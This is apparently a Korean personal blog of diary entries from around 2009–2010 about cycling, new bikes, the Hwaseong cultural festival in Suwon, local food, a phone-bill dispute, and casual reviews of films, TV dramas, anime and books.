연초라 각종 사회단체에서 꾸준히 email이 날아왔다. 김장환인지 하는 기부천사 가수만은 못해도 총각 시절엔 곧잘  기부했다. 뭐 사실 전 재산을 기부했다. 젊었기에 돈은 필요없었다. 아프간에 기부 좀 하자고 했더니, 국내에도 굶어죽는 사람들 많다... 는 것이었다. 부모를 잃고 점심을 굶는 아이들과  시청에서 갖다 주는 쌀로 밥을 지어먹는 독거노인들과 교회에서 무료점심을 얻어먹으며 을지로역에서 잠자는 노숙자들은 지진으로 한쪽 다리가 부러진 채 가족과 집을 잃고 배고픔에 지쳐 힘없이 쓰러지는 아이티의 아이들처럼 오늘, 내일 그 절박한 삶이 스러질 팔자는 아닌 것 같은데? 아이티 난민은 기독교 구호 단체에서 구해줄테니까 걱정할 것 없단다. 우리에게도 처절한 현실이 있단다. 현실에 발맞춰, 약값이 떨어져 거리를 헤메던 아줌마를 도왔다. 길에서 벌벌 떨고 있는 아저씨를 도왔다. 예전 같았으면 그를 데려가 술과 밥을 먹이고 잠을 재웠을 지도 모르겠지만 내가 고약해진 것은 사실.

2/1~2/7. 보드 선정 작업. 세미콘 코리아에는 참석하지 못했다. Nokia N5800 휴대폰을 구입했다. 드라마 '파스타'를 보니 좋아하던 스파게티의 이름이 'alio e olio'란 것이었다. 수년 전 외국의 어떤 식당에서 먹어 보고 감탄했으며, 가끔 집에서 만들어 먹으며 왜 맛이 없을까 고민했다. 최근에는 마누라가 좋아하는 해물 크림 파스타 이외의 것을 만들어 본 적이 없다.

이건희가 '모두가 정직했으면 좋겠다'고 말했다. 이명박 대통령은 한국이 2-30년 전으로 후퇴할까봐 걱정된다고 말했다.

2/8~2/15. 설날 연휴, 발렌타인, 결혼 6주년 기념일이 겹쳤다. 외식하러 가자니 뚱하다. 아내에게는 화보집 하나 사줬다. 아마 결혼 기념 선물인 줄도 모를 것이다. 외식은 글렀고, 그래서 서울랜드에 갔다. 아내의 종용으로 놀이기구를 탔다. 아내는 내가 놀이기구를 무서워서 안 탄다고 여겼다. 사실 대부분의 놀이기구는 재미가 없어서 타지 않았다. 그렇게 된 이유는 딱 하나 뿐이다. 목숨이 오락가락 하는 체험(?)을 자주 하다보니, 공포를  시뮬레이션 하는 놀이기구는 죽음에 대한 진실성이 부족해서 재미가 없다. 그렇다고 위험을 넘어서 죽음에 가까운 체험을 즐기는 것은 전혀 아니지만.

댄 시먼즈의 올림포스가 도서관에 들어와 빌려봤다. 인용:
살아있기도 헷갈리는 시절이다.

아테나가 어깨를 들썩했다. "그건 전투 중에 일어난 일이잖아. 난 피가 들끓는 상태였고."
"날 죽이려 했던 변명이 고작 그거냐, 이 개 같은 여신아?"

"이 지뢰를 묻은 사람이 원망스럽지 않나요?"
"글쎄... 저도 지뢰를 설치했기 때문에 할 말은 없죠. 당시 지뢰를 묻는 건 너무 당연한 일이었고요. 지뢰는 전선을 방어하려고 묻은 거고요. 덕분에 지금 이렇게 큰 댓가를 치르고 있지요."  -- 사라예보의 시가지를 빙 에두른 지뢰를 제거하는 지뢰제거작업반과 펠린의 대화 중.

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"이 궁전은 아직도 사람이 살고 있으며 중세 이후 건축물의 변화를 볼 수 있죠."
"당국에서 왕궁에 들어선 이 건물들을 철거하려고 시도한 적은 없나요? 이건 유물에 대한 모독일 것 같은데요."
"아뇨, 이것도 스플리트의 발전상을 보여주는 전통이니까요."
"저것도 많이 바랬네요?"
"네, 로마 시대 건물이니까요."
"전 빨래 얘기를 한 건데요." -- 마이클 펠린의 신 유럽기행 중.

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"시계가 참 많군요?"
"네 전부 3시 4분이에요."
"왜 전부 3시 4분이요?"
"3시 4분에 티토 대통령이 죽었거든요." -- 티토가 누군지 안다. 할아범이 만세를 부르며 그가 죽은 시간을 영원히 기념하는 심정을 잘 알 것 같다. 마이클 팰린이란 영국 노인이 신 유럽기행이라고 동유럽을 돌아다녔다. 이 섬에 맥도날드가 들어서면 목매달겠다는 노인네와 티토의 독재 시절을 얘기한다. 주방 벽에 걸린 저 무시무시한 도구들은... 이 할아범은 소를 직접 잡아서 요리하나? 마이클 펠린의 신 유럽 기행은 보통의 여행 프로그램처럼 (피로 쓰여진 역사 앞에서 괜히 숙연한 척 위선이나 떨어대며 실상은 밥맛 떨어지게 넋놓고 관광이나 하는) 프로그램에서 빠진 것들을 보여준다는 점에서 꽤 괜찮았다. 그래서 버라이어티 보며 희희낙낙하는 TV를 끄고 아내에게 부러 보라고 추천해 줬다. 갈 생각 있으면 지원해 주겠다고 호언했다.

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해황기. "이 손을 피로 더럽혔다. 내가 패도를 걷는 것은 정의나 백성 때문이 아니다. 단지 나의 욕심 때문이야! 나는 내 편을 잃고 싶지 않다. 그러나 적은 아무리 죽여도 개의치 않는다. 내가 살아있는 한 사람이 죽을 것이다. 그러나 너라면 적도 우리편도 사상자를 최소한으로 줄이고 이길 줄 아는 지혜가 있겠지? 죽어가는 사람을 줄이고 싶으면 나를 죽여라. 그럴 수 없다면 나에게 와라!" --  24권. 카자르 세이 론이 알 레오니스 우르 굴라에게 보내는 다정한 말. 해전 중에 사용하는 용어가... 혹시 작가가 혼블로워 안 읽어봤나? 그래도 재밌다. 이 만화책의 불법복제 스캔은 '미친뇬'과 '냐옹~'이 만들었다. 음지에서 땀을 흘리는 젊은이들에게 늘 감사한 마음을 가지고 있다.

50화로 짐승의 연주자 에린이 끝났다. 이례적으로 긴 시리즈였다. 엄마가 짐승에게 먹혀 죽는 모습을 눈 앞에서 보고 자기 손을 물어 뜯긴 에린이 화살에 맞은 채 달려가며 이렇게 말했다: '나는 죽고 싶지 않아!' 어찌나 공감가던지 원. KBS 9시 뉴스 대신에 이런 애니를 보여줬으면 좋겠다.

Lona's Silence
Lona's Silence. 벨기에... 내가 아는 벨기에는 불법이민자들로 골치를 썩이는 나라였다. 영화의 주제가 그것이다. 뭘 어쩌자는 것도 아니고 재미라고는 하나도 없으며 보고 나서 기분만 상하는, 말하자면 '예술영화'다. 헐리웃 액션 블록버스터물을 보고 싶어도 소위, 영혼이 없는 아바타 같은 영화 따위나 걸려서 실망이다.

Sleep Dealer
Sleep Dealer. 멕시코 SF 영화인 건가? 역시 내용 없고 시시한 예술영화처럼 생겨먹었다. 갖은 고초를 겪어 간신히 해 놓은 일이 사소한 반란 정도라서 현실을 지나치게 복제하여 우울해진달까. 헐리웃 액션 블럭버스터물을 보고 싶지만 걸리적 거리는 거라고는 크로싱 오버같은 대체 무슨 생각으로 그런 엿같이 우울한 자뻑 영화를 만들었는지 모르겠는 영화 따위나 걸렸다.

Detroit Metal City
Detroit Metal City. 그러다가 이런 코메디물을 보면서 역사와 추억에 잠겼다. 아... 내가 이 머리통을 지나치게 메탈과 프로그레시브에 푹 담구고 절여놔서 성격이 더러워진 거야. 게다가 귀까지 맛이 가 버렸잖아? 감사히 잘 봤다. 주인공이 쥐도 새도 모르게(자신도 모르게) 어둠을 향해 또박또박 착실히 걸어가는 모습이 아름다웠다. 우린 대부분 길을 잘못 들어 엄청나게 헤메고 있지만, 나이 60 먹어서 자신이 아직도 락커(또는 프로그래머) 라는 사실에 딱히 감정이 없기를 바랬다.

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어렸을 적에 읽은 셜록 홈즈에는 친절하게 스코틀랜드 야드가 런던 경시청인 이유를 설명해 놓았다. 신문 판형이 흥미롭다. 건 그렇고 여늬 버디물과는 달리 왓슨과 홈즈가 서로를 아끼고 사랑해주는 호모들 같아 보였다.

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건설중인 타워브릿지, 돛배와 증기바지선이 뒤섞인 선착장. 그야말로 호들갑을 떨어도 될 만큼 품질좋은 빅토리아 시절의 재현.

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셜록 홈즈에서 산업혁명 시기의 가장 끝내주는 장면은 바로 이 쉽야드와 다음에 이어질 타워 브리지였다.

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뭐 이 영화에서 이 장면이 시사하는 바가 마술사를 죽인 이성과 모더니즘의 힘 쯤 되어 보이지만, 감독이 정말 그런 바보같은 생각을 대위적 아이라니라고 생각한다면 속편에 가망이 없어 보였다. 아무래도 그런 것 같아 속편은 기대하지 않았다.

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돈 안되는 일

잡기 2009. 10. 26. 23:45
두어 달 지하철을 안 타다가 얼마 전에 타보니 우측 통행 스티커가 붙어 있다. 히죽 웃었다. 진작 하셨어야지.

취미 생활로 지도 만든다니까, 요새 자주 묻는 질문과 답변 하나.

Q. 그거 돈 되요?
A. 내가 지도 작업을 하게 된 것은, 어떤 외국인이 OSM 한국 지도를 보고 자전거를 타고 한반도를 돌아다니는 모습을 상상하는데, 그건 내가 OSM 일본 지도를 보고 일본 열도를 자전거 타고 돌아다니는 흐뭇한 모습을 상상하는 것과 마찬가지라고 생각하거든. 그래서 말은 되지만 돈은 안되~

최근에는 대부분의 사진을 휴대폰 카메라로 찍었다. 뭘 찍어도 사진이 구렸다. 한동안 틈틈이 카메라 스펙 쇼핑을 했다. 사고 싶은 카메라는 Casio EX-Z450이다. 배터리 한 번 충전으로 550여장을 찍을 수 있고 H.264 동영상 녹화가 가능하다(무엇보다도 H.264 동영상 녹화가 중요). 렌즈 밝기도 그만하면 됐다. 8GB SD 포함해서 최저가는 361230원. 2-3개월 기다리면 가격이 떨어질까? 이 카메라를 사는 사람들이 있긴 한지 궁금하다.

responsible travel, political travel 이란 범주의 '여행 방식'에 관한 글을 찬찬히 읽어보았다. 배낭여행이잖아? 또는 배낭여행에 꽃칠한 건가? 돈없이 찌질거리며 다니지 않는 배낭여행을 말하고자 함인가? 미얀마 여행을 할 것인가, 말 것인가, 거기 갖가지 핑계를 갖다붙일 수 있지. 여행을 해서는 안 될 이유와, 여행해야 할 이유 따위들. 그렇게 생각하면 두 단어는 좌파 등신들이 갖다 붙이기 좋아하는 좀  역겨운 정의역 이거나 마케팅 용어처럼 여겨지기도 한다. 그러므로 특별히 할 말이 있어야 할 이유가 없기 때문에 비아와 상관없다, 게다가 이견부주심막추심이다.

잦은 자전거 사고로 머리가 아파서 자전거 보험을 알아봤으나, 내가 다쳤을 때 보장하는 것은 쥐꼬리만하고 내가 자전거로 남을 치었거나 기물을 파손했을 때 보장해 주는 것이다. 일반 상해 보험과 다를 것 없고, 심지어 자전거 도난도 보험 처리가 안 된다. 거의 쓸모가 없는 보험이랄 수 있겠다. 하지만 이런 자전거 보험을 들고 최소한 마음의 평안을 얻은 사람들도 많은 듯.

 이사가면 자전거를 사주겠다고 아내에게 약속했다. 뭐 사실 본인은 원치도 않지만 기껏 자전거 타는 것을 가르쳐줬는데 이 김에 자전거 좀 타보도록 권하고, 안 타면 내가 타고 다니면 된다는 생각으로 아내가 몰고 다닐만한 자전거를 알아봤다.  

수년 전 어렵사리 아내에게 자전거 타는 방법을 가르쳐 주었다. 의외로 쉽게 배우는 것으로 보아 용기가 없었지 운동신경이 없는 것은 아니었다. 여러 기종을 알아봤지만 가격대가 높아야 그나마 성능이 좀 되는 것들이라 참 고르기가 난감했다. 브롬톤이나 KHS가 좋지만 많이 비싸다. 첼로에서 나온 블랙캣 컴팩트3.0이 의외로 사양이 좋았다. 다혼 OEM 차체이고 더더군다나 폴딩이 되면서 성능도 어느 정도 괜찮아 보였다. 무엇보다도 29만원! 두말 없이 구입했다.

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사무실로 배달온 날 밤에 갑자기 비가 와서 비 맞으며 자전거를 몰고 전철역까지 몰고 갔다. 바퀴 크기가 20인치라서인지 핸들이 휙휙 돌아가고 바퀴가 작은데다 핸들과 싯포스트만 높아 어쩐지 불안하다. 유사 MTB를 타고 다닌 탓에 작은 턱은 그냥 오르락 내리락 했는데 작은 바퀴로 턱을 오르려니 불안하게 덜컹거렸다. 어쨌던 도서관에 책 반납하러 가려고 책을 뒤에 묶었다. 자전거에는 뒤에 묶는 편리한 고무줄과 페인트 수정액이 포함되어 있었다. 센스있다. 색깔은 이것 밖에 없으니 선택의 여지가 없다. 흰색이 좋은데...

6단 기어로 대략 22~24kmh 정도가 나오고 8단에서 30kmh 정도가 가능하다. 다만 고개를 오를 때 조금 경사 있는 곳을 오르니 앞 바퀴가 들려서 황당했다. 안장 위치를 앞으로 조금 당기고 핸들바를 낮추니 쓰러지진 않겠다. 어차피 아내가 타려면 싯과 핸들바 사이가 내가 타는 것보다는 좁아야 하고, 다리를 편하게 뻗으려면 MTB의 다이아몬드 형태의 프레임보다는 이게 나을 듯.

GPS도 마운팅. 핸들바가 높다. 자전거 무게는 12.2kg로 그렇게 가볍진 않은 편. 의외로 자전거가 탈만 해서 놀랐다. 아내보다 내가 더 자주 사용하게 될 것 같다. 그런데 차체의 길이가 26인치 자전거와 같다. 생각보다 자전거가 길다.
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접으면 양 바퀴가 휠체어처럼 겹쳐지므로 seat을 잡고 질질 끌고 가면 되는데, 그렇게 끌고 가기에 뭔가 좀 부족하다. 접거나 펴는 것은 쉽지만 핸들바의 높이와 싯포스트의 높이를 매번 맞추는 것은 좀 귀찮다.
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26인치 자전거에 붙였던 아기 안장을 달아 보았다. 페달이 발 거치대와 붙어 아기 안장 뒷부분을 톱으로 잘라내 뒤로 밀었다. 다소 불편하긴 해도 아이 태우고 다니는데 무리가 없었다. 이러고 주말에는 시내를 돌아다녔다. 세워둔 자전거가 두 번 자빠지고 아이도 자빠졌지만 울지 않았다. 튼튼해뵈는 자전거다.

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얘가 장난감 차의 핸들링을 할 줄 알아서 흥미로웠다. 하지만 주행보다는 보이는 대로 벽이건 턱이건 쿵쿵 박고 자동차가 뒤집히는 걸 더 즐거워 해서 식겁했다.

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주말에 또다시 수원 화성에 갔다. 화성 성벽 워킹 투어 코스의 길이는 대략 6.5km로 입장료는 천원, 수원 시민은 공짜다. 전날 먹은 술이 덜 깨 아침부터 머리가 쿵쿵거려 오후까지 자다가 아이를 성벽에 데리고 갔다.

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화홍문 누각. 앉아서 놀기 딱 좋은 곳. 아이에게 잔디밭에서 미끄럼을 태워 주고 장안문에서 아이스크림을 사줬다. 화성박물관에서 정조의 '초딩체' 구경도 시켜주었다. 정조의 이름은 이산이 아니라 이성이란다. 화성에 올 때마다 느끼는 거지만, 이거 정말 괜찮다. 화성관광 추천코스라도 만들어 세계문화유산의 도시에 사는 수원시민의 도리를 다해야 하는 것은 아닐까 싶지만 생각해보니, 이사온 지 겨우 두 달 밖에 안 되었다.

낼모레에는 이명박 정부 심판(??) 보궐선거에도 참여해야 한다. 심판? KT&G 자리를 확 밀어버리고 공원으로 만들어 버리겠다는 민주당의 이찬열을 찍기로 했다. 거기가 왜 공원이 아닌지 의아했다.

자전거 타고 돌아오는 길에 줄 서서 기다리며 먹는 희안한 만두가게(보영만두)에서 만두와 쫄면을 포장주문했다. 집에 가져와 아내와 먹어보니 쫄면과 고기만두는 괜찮았지만 김치만두는 별로였다. 미니벨로에 애를 태우고 이틀동안 돌아다녔다. 그나저나 서울 에어쇼에 못 간 것이 아쉽다.

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'Endless freaking wonder' Warehouse 13. Eureka, Stargate Atlantis의 낮익은 배역들이 등장.  어 이거 테슬라잖아?
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루즈 장군의 화려한 귀환. 주차해놓은 자동차가 썩어갈 때까지 퇴근하지 못하는 응급실 의사에 관한 미스테리물. 배우가 같은 걸 보니, 바티스타 어쩌구의 속편격인가 보다. 멍청한 척 하는 여자와 똑똑한 척 하는 남자의... 이도 저도 아니게 김 새는 추리물.
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Observe & Report. Seth Rogen이 주연하는 코미디물은 이것으로 두 번째 본다. 처음 본 것이 Pineapple Express. 오타쿠.
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Man Som Hatar Kvinnor. 밀레니엄이란 멀티밀리언셀러를 원작으로 하는 영화. 주인공 여배우는 자기를 강간한 놈을 두들겨 패고 그의 가슴에 '나는 변태이고 강간범입니다'라고 문신을 새긴 후 일 년 동안 그놈으로부터 돈을 갈취한다. 문신을 새기는 귀여운 여자애 빼고는 흔히 보는 세상의 오욕에 쩌든 더럽고 지저분한 소재를 다루는 영화. 그런데 요새는 왜 괜찮은 느와르가 없는 걸까? 막되먹은 아저씨, 아줌마들 때문에 일찌감치 돈에 쩌든 불쌍한 애새끼들의 어설픈 비정함은 세상에 차고 넘치는데.

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Wire In The Blood. 모처럼 보는 썩 훌륭한 범죄물. T.S. Elliot의 싯귀에서 따온 제목. 니체의 심연이 생각나는 Episode 1 Mermaid Singing의 마지막 장면.

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헤르미온느 노리스가 맡은, 인상 자체가 하드보일드한 여형사가 유난히 기억에 남는다. Ep.1과 Ep.2가 워낙 좋았다.

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SF니까 억지로 구깃구깃 보고는 있는 Defying Gravity. 이 진부한 드라마는 9화에 이르러서야 '떡밥'을 하나 던져준다. 그런데 2화 때부터 외계인인 줄 알고 있었다고요. 제발 좀. SF극을 인간미 뜨거운 General Hospital 류로 만들지 좀 말라구요. 작년에는 BA가 족같은 밀리터리 철학물 노릇을 하더니.

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바스쿼슈. 마지막화까지 작화 품질은 여전했다. 스토리만 좀 받쳐주면 꽤 괜찮은 애니가 되었을텐데 아쉽다.

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화성문화제

잡기 2009. 10. 15. 13:46
chrome은 다소 사용이 불편해서 보안 접속이 필요한 경우에만 사용했다. 우연히 chrome plus를 설치하고 사용해보니 속도가 무척 빠르고 편하다. 몇몇 버그가 있지만 북마크 온라인 싱크, 마우스 제스쳐, 광속에 가까운 스피드, IE 탭, 단순한 인터페이스가 마음에 들어 죽 사용했다. 사실상 지난 한 달새 크롬플러스가  주력 브라우저가 되었다. 다른 브라우저들 역시 그런 것쯤은 지원하는데, 유독 크롬플러스를 편안하게 생각하는 이유는, simple & fast 때문.

'장난감을 많이 가지고 놀다가 죽은 사람이 성공한 인생을 살다 간 사람이다.' from 말콤 포브스. -- '열혈장사꾼'이란 만화책에서 봤다. 여자 얼굴들이 다 똑같은 특이한 만화다. 되지도 않는 말을 갖다 붙이는 것이나 어안이 벙벙할 정도로 유치한 서사가 돋보이기도 했다. 심지어 이걸 드라마로도 만든다!

'거울은 먼저 웃지 않는다. 네가 웃어야 거울도 웃는다.' -- 같은 만화책. 거울 보고 저 좋으라고 표정 짓는 것만큼은 좀 바보스럽지 싶은데? 거울은 글쎄, 자기 얼굴이 타인에게 어떻게 연출되는 지 확인하는 거지, 자기가 자기에게 어떻게 보이는 지 확인하는 용도가 아니지 싶은데... 그렇게도 사용 하나? 나야 내 얼굴이 남에게 어떻게 연출되는지 별로 궁금하지 않다. 그러므로 물리적 실재로써의 거울은 별 무소용이고, 심상의 은유로만 사용했다.

KT의 CI가 KT에서 olleh kt로 바뀐 것은 알지만 최근에야 대문자가 소문자로 바뀐 것을 알았다. olleh가 hello의 역순이고, 올來라는 뜻이기도 하고 'kt로 올래?'가 되기도 한단다. kt가 변할까? 글쎄다.

LGT에서 7월 통신료가 터무니없이 나와 통화내역을 뽑아보니 한 번 통화에 4시간을 했다. 세무서에 전화한 것이었다. 이쪽이 끊거나 저쪽이 끊으면 통화가 차단되므로 양쪽이 모두 전화를 끊지 않았다면 말이 되기는 하는데... 그럴 확률은 낮아 보이고, 게다가 내 전화기는 PDA폰이라 통화 시간이 1~2시간으로 짧은 편. LGT에서도 휴대폰이 해킹당했는지 여부를 조사해 봤으나 해당 사항 없다. 원인을 알 수 없단다. 그래도 한 번 통화에 4시간을 했다는 것은 말이 되지 않아 환불 요청을 했다. 2-3일 후 LGT 콜센터의 팀장이란 사람이 전화해 해당 통화에 대해 22000원을 환불해 줬다. LGT 콜센터의 상담원 서비스가 감동이라더니 헛 말은 아닌 듯. kt가 CI 바꾼 다음에 과연 나아 졌을까? 글쎄다. kt였다면 전화 하자마자 일단 소비자 보호원에 고발한다고 으름장을 놓고 악을 쓰며 일주일을 난리쳐야 하지 싶은데.

LGT의 사장인지 회장인지 하는 양반이 LTE 사업에 부정적이라고 말하는 기사를 봤다. 내 눈에는 LGT가 LTE 아니면 살아날 길이 없어 보였다. 와이브로를 하는 kt나 SKT는 와이브로를 확산할 의지가 없어 보이는 것처럼. 시대가 바뀌면 그때 조류에 편승할 것처럼 보였다. 최근 아이폰 출시 문제로 여러 사람을 울리고 웃겼던 회사들이니.

좋은 책을 꾸준히 소개할 방법이 있으면 좋겠다고 생각했는데 알라딘에 Thanks To Blogger란 것이 있었다. 남들 블로그에 들어가보니 책 선전할 때 알라딘 TTB가  떴다. 처음에는 출판사 선전에, 블로그 용돈벌이 수단 같아 눈에 거슬렸지만 가만 보니 내 목적에 부합할 수 있다고 생각했다. 알라딘 TTB로 돈 벌 생각은 없고, 책이 귀하니(절판이 많이 되어) 제목만이라도 소개해 우연히 학교/동네 도서관에서 찾아 읽을 수 있으면 된 거다. 도서관은 가물었을 때 소중한 물을 가두고 있는 저수지나 댐의 역할을 하는 곳이다. 60권 가량 등록했다. 생각날 때마다 추가하겠지만 아쉽게도 최근 1-2년 읽은 것 외에 머리 속에 떠오르는 것이 없다.

몰래 트위터질을 얼마간 하다가 접었다. 몇 안 되는 글자로 정서 표현이나 url 끄적이는 정도나 가능할 뿐, 나나 트위터의 이웃의 초 단위로 변하는 지저분한 감상이나 밑도 끝도 없는 위트를 즐기기엔 내 스펙이 역부족이다(mea culpa! mea culpa!). 아무래도 평소 게시물에 달린 한 줄 짜리 댓글에 가지고 있는 복잡한 감정과 비슷하지 싶다.

blog(web log)가 애당초와는 달리 상당히 많이 변형되었다는 것을 미리 감안하고, 자기 일기장 공개해서 얼굴을 모르는 '친구'를 사귀고, 밑도 끝도 없이 공감하고, 선전으로 돈을 벌고, 자기 일기에 토다는 걸 감사해 하는게 어떻게 생각하면 웃겼다. 반감은 없다. 그냥 웃긴다.

그리스 수학만화 영.미 출판시장 강타 -- 버트란드 러셀이라니... 보고 싶다. 국내에 번역된 아포스톨로스 독시아디스의 '골드바흐의 추측'은 절판을 반복하다가 '사람들이 미쳤다고 말한 외로운 수학 천재 이야기'로 재간되었다. 기사 본 김에 알라딘 TTB에 즉시 등록했다.

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2009/10/10. 얼마전 자전거 사고의 가해자로부터 자전거 사러 오라는 연락을 받았다. 그 분이 아는 가게에서 사기로 해서 버스 타고 갔다. 좀 허름한 자전거 가게가 보였다. 자전거를 고르려 했지만 MTB는 딱 2개뿐이고 주로 생활자전거를 취급했다. 아저씨 철학이 확고해서, 흔히 보통보다 3배 빠른 빨간색은 저가 자전거에나 쓰는 색상이란다.

사진은 Appalanchia TeamComp 2.5D로 무려 43만원 짜리. 팀콤프 2.5d 다음 것은 150만원짜리 엘 파마. 마음에 두고 있던 모델은 Hound 700 또는 Outpost 기종, 그것도 안되면 알로빅스 700이나 알톤의 2009년 모델 등 주로 30만원 미만의 자전거 였다. 하여튼 울며 겨자먹기로 원치 않는 모델, 원치 않는 색상, 원치않는 가격에 자전거를 샀다. 그런데 흰색 자전거가 생각보다 나쁘지는 않았다.
 
FRAME APPALANCHIA ALLOY FRAME
FORK RST, OMNI 191-T9, 80mm TRAVEL, W/O PIVOT, FOR DISC BRAKE
RIMS 26X1.75\", 14GX32H, F/V, SIDE CNC
HUBS SHIMANO, HB-RM65, 32H, OLD:100mm, CENTER LOCK
SPOKES STEEL BLACK, STEEL UCP NIPPLE
TIRES HENGA, HS-391, 26X1.95\", F/V(40mm), SKIN WALL, ALL BLACK
PEDALS ALLOY, 9/16\", BODY:ALLOY SILVER, CAGE:ALLOY BLACK
CRANK 42X34X24T, 170mm, ARM:ALLOY BLACK
CHAIN KMC, Z-72
BOTTOM BRACKET SHIMANO, BB-UN26, SHELL:BSA 68mm
FRONT DERAILLEUR SHIMANO, FD-C050, DUAL PULL, Φ31.8 BAND
REAR DERAILLEUR SHIMANO, ACERA RD-M360-L, DIRECT-MOUNT BLACK
SHIFTERS SHIMANO, ST-EF60-8, 3X8-SP, BLACK
HANDLEBARS APPALANCHIA BAR, Φ22.2XΦ25.4, W:620, RISE:20, SAND BLAST BLACK
STEM APPALANCHIA STEM, Φ28.6XΦ25.4, 17˚, H:41, EX:90/110, SAND BLAST BLACK
HEADSET 1-1/8\", STEEL BLACK
BRAKESET SHIMANO, BR-M416-L, MECHANICAL DISC BRAKE, 160mm CENTER LOCK RING ROTOR
SADDLE APPALANCHIA SADDLE, RAIL:STEEL BLACK, W/APPALANCHIA LOGO
SEAT POST ALLOY, Φ27.2X350L, SAND BLAST BLACK, W/APPALANCHIA LOGO
이런 자전거는 처음 타 본다. 마침 화성문화제 기간이라 자전거를 몰고 시장으로 향했다. 오랫만에 자전거를 모는데, 사고 후유증 탓인지 툭하면 브레이크를 잡았다. 종아리에 늘어져 있는 알류산 열도의 섬들처럼 산만하게 늘어선 상처는 점점 옅어져 가지만 마음에 새겨진 공포의 얼룩은 쉽게 지워지지 않는 것 같다. 두어달 동안 죽을 뻔한 사고가 연달아 세 번 난 탓일까? 김씨는 내가 댓가를 지불할 때가 되었다고 말했다. 최씨도 얼마 전 그런 얘기를 했다. '당신은 자전거 타면 죽어요' 라고. 역으로 생각하면, 이런 행운은 몹시 드문 것이다.  

남들이 뭐란다고 자전거를 안 탈 것 같지는 않고. 지난 주는 자전거 출퇴근을 못해서 영 김이 샜다. 욕구불만이 쌓이는 것 같다. 이제 곧 11월이다. 자전거 타기가 점점 힘들어진다.

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시민 퍼레이드가 1시간 넘게 이어졌다. 그 다음에야 기다리던 능행차가 비로소 시작되었다.  화성문화제가 46번째인데 올해는 수원시 승격 60주년이라서인지 평소보다 요란하다는 평이다. 하긴 무슨 놈에 퍼레이드를 3시간을 하는지. 시간이 맣이 걸리긴 했지만, 퍼레이드나 화성문화제 구경이 꽤 재미있어서, 이럴 줄 알았으면 지인들 불러다가 저녁에 술이나 할껄 하고 생각했다. 그래서 저녁에 곽과장을 만나 밤 늦게까지 마셨다.

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이사온 후 이래저래 조사를 하다 알게된 것: 수원시 인구는 2009년 9월 110만명. 그중 외국인은 25000명 가량. 정조의 능행차때 이렇게 외국인 병졸이 있었으면 꽤 재미있었을 것이다.

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오후 6시까지 북문에서 남문까지의 도로를 통제했다. 덕택에 사람들이 거리를 마음껏 휘졋고 다닐 수 있었는데, 그간의 학습 탓인지 시민이 도로를 점거하고 있는 저 모습은 흡사 데모대 같달까... 촛불 시위할 때 저랬지.

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평소에 팔달문(남문) 꼭대기에 올라갈 수 있었나? 서울 사대문과 달리 이쪽 성은 멋지다. 남대문처럼 그저 어이없이 타버리지 않길 빈다. 서울 남대문 시장 상가 사람들은 남대문이 타버리면서 북쪽에서 내려오는 화기를 막지 못해 남대문 근처에 화재가 자주 발생하게 되었다는 도시괴담을 퍼트렸다. 내가 이명박이라면 오세훈에게 차기 대권 출마때 밀어주기로 하고 남대문 일대 상가를 가든 파이브로 강제 이주시킨 다음 그곳을 불바다로 만든 후 재개발하겠다. 말하고 나니까 왠지 시원한게, 이명박이 어떤 기분으로 집무하는지 알 것 같은 기분이 들었다.

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팔달문에서 바라본 팔달시장. 팔달시장을 통과해 개울을 건너 맞은편 지동 시장에 '밀알왕순대' 집이 있다. 우연찮게 그곳에서 점심으로 순대국을 먹었다. 생각보다 맛이 좋았다. 뭐 하나 발견한 기분이다.

저번에 팔달문 근처를 자전거 타고 다니다가 왠 통닭집 앞에 사람들이 줄을 서서 기다리고 있는 모습을 보았다. 통닭을 줄서서 사먹는다? 알고보니 그 집이 꽤 유명한 '진미통닭'이란 곳이었다. 기회되면 사먹어보자고 다짐했다.

오늘도 한가하게 자전거 타고 돌다가 길거리에 사람들이 죽 늘어서 기다리는 분식점을 보았다. '보영만두'라는 간판을 얼핏 봤다. 집에 와서 조사해보니 군만두와 쫄면으로 유명한 곳이다. 군만두와 쫄면을 줄서서 사먹는 것이 잘 이해가 안 가지만.

어쨌든 꽤 재밌는 문화제다.

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Warehouse 13. syfy channel(과거 scifi)에서 작년에 연재되었던 판타지물 같다. 이 세상에서 돌아다녀서는 안될 유물(artifact)을 수집한다. 13번째 창고에서 13이란 숫자는 미국이 문명이 시작된 이래 13번째로 강력한 제국을 건설했기 때문에 붙은 숫자이고, 유물 창고는 그런 그 시대에 가장 강력한 파워를 가진 제국에 저절로 위치한다.

Warehouse 13의 첫 화를 시청하다가 여 주인공 얼굴이 낯이 익어 유심히 살펴보았다. 내가 미친게 아니라면 드라마의 여주인공은 보티첼리의 아프로디테와 무척 닯았다. 확인을 위해 보티첼리의 그림을 웹에서 찾아 보았다.

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그럼 그렇지. 캐스팅을 일부러 저렇게 한 것일까? 조개껍질을 타고와 악당에게 로우킥을 날리는?

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왕피천에 가고 싶어서 6월부터 기회를 엿봤지만 번번이 취소했다. 비 안 오는 주말에 가려고 계획을 짰는데, 주말마다 비가 왔다. 2개월 동안 그 모양이다가 8월 휴가철이 겹치면서 가고 싶어도 차에서 보낼 시간이 무서워 접었다. 가장 좋은 방법은 나 혼자 가는 것이다. 그래서 혼자 가기로 했다. 혼자 가면 가볍다.

8월 14일 이사하는 집 공사가 나흘 일정으로 잡혀 있어 며칠 동안 거처가 없다. 수완좋은 아내가 거처를 마련했지만 내친 김에 여행이나 가자고  마음 먹었다. 아침에 잔금을 치르고 점심에 사무실로 돌아왔다. 저녁 무렵 출발할 생각이었지만 퇴근시간대에 자전거 끌고 지하철 타는 것은 양심없는 짓이고, 그렇다고 자전거 타고 사무실에서 동서울 터미널까지 가려니 초장부터 이 더위에 땀으로 샤워하고 버스에서 땀냄새 풀풀 풍기기 뭣하다.

그래서 일찌감치 출발했다. 16:40, 사무실에서 자전거를 챙겨 지하철을 타고 동서울 터미널로 향했다. 환승역인 신도림역으로는 자전거를 끌고 갈 엄두가 나지 않아 가산디지털단지역에서 7호선 지하철을 갈아탔다. 뚝섬유원지역에서 내려 동서울 터미널까지 자전거를 몰았다. 휴가철 막바지에 무더위가 겹쳐 피서가려는 사람들로 터미널이 징그럽게 버글버글하다.

